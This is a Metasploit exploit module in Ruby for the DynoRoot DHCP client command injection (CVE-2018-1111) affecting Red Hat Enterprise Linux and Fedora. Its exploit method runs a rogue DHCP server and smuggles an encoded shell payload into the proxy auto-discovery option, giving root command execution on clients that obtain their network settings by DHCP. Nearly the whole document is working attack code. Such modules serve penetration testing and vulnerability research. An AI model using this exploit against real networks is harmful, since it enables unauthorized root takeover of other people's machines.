DHCP Client Command Injection (DynoRoot)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::DHCPServer

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘DHCP Client Command Injection (DynoRoot)’,
‘Description’ => %q{
This module exploits the DynoRoot vulnerability, a flaw in how the
NetworkManager integration script included in the DHCP client in
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
processes DHCP options. A malicious DHCP server, or an attacker on
the local network able to spoof DHCP responses, could use this flaw
to execute arbitrary commands with root privileges on systems using
NetworkManager and configured to obtain network configuration using
the DHCP protocol.
},
‘Author’ =>
[
‘Felix Wilhelm’, # Vulnerability discovery
‘Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘Platform’ => [‘unix’],
‘Arch’ => ARCH_CMD,
‘Privileged’ => true,
‘References’ =>
[
[‘AKA’, ‘DynoRoot’],
[‘CVE’, ‘2018-1111’],
[‘EDB’: ‘44652’],
[‘URL’, ‘https://github.com/kkirsche/CVE-2018-1111’],
[‘URL’, ‘https://twitter.com/_fel1x/status/996388421273882626?lang=en’],
[‘URL’, ‘https://access.redhat.com/security/vulnerabilities/3442151’],
[‘URL’, ‘https://dynoroot.ninja/’],
[‘URL’, ‘https://nvd.nist.gov/vuln/detail/CVE-2018-1111’],
[‘URL’, ‘https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble’],
[‘URL’, ‘https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111’]
],
‘Targets’ => [ [ ‘Automatic Target’, { }] ],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘May 15 2018’
))

deregister_options(‘DOMAINNAME’, ‘HOSTNAME’, ‘URL’, ‘FILENAME’)
end

def exploit
hash = datastore.copy
start_service(hash)
@dhcp.set_option(proxy_auto_discovery: “#{Rex::Text.rand_text_alpha(6..12)}’&#{payload.encoded} #”)

begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end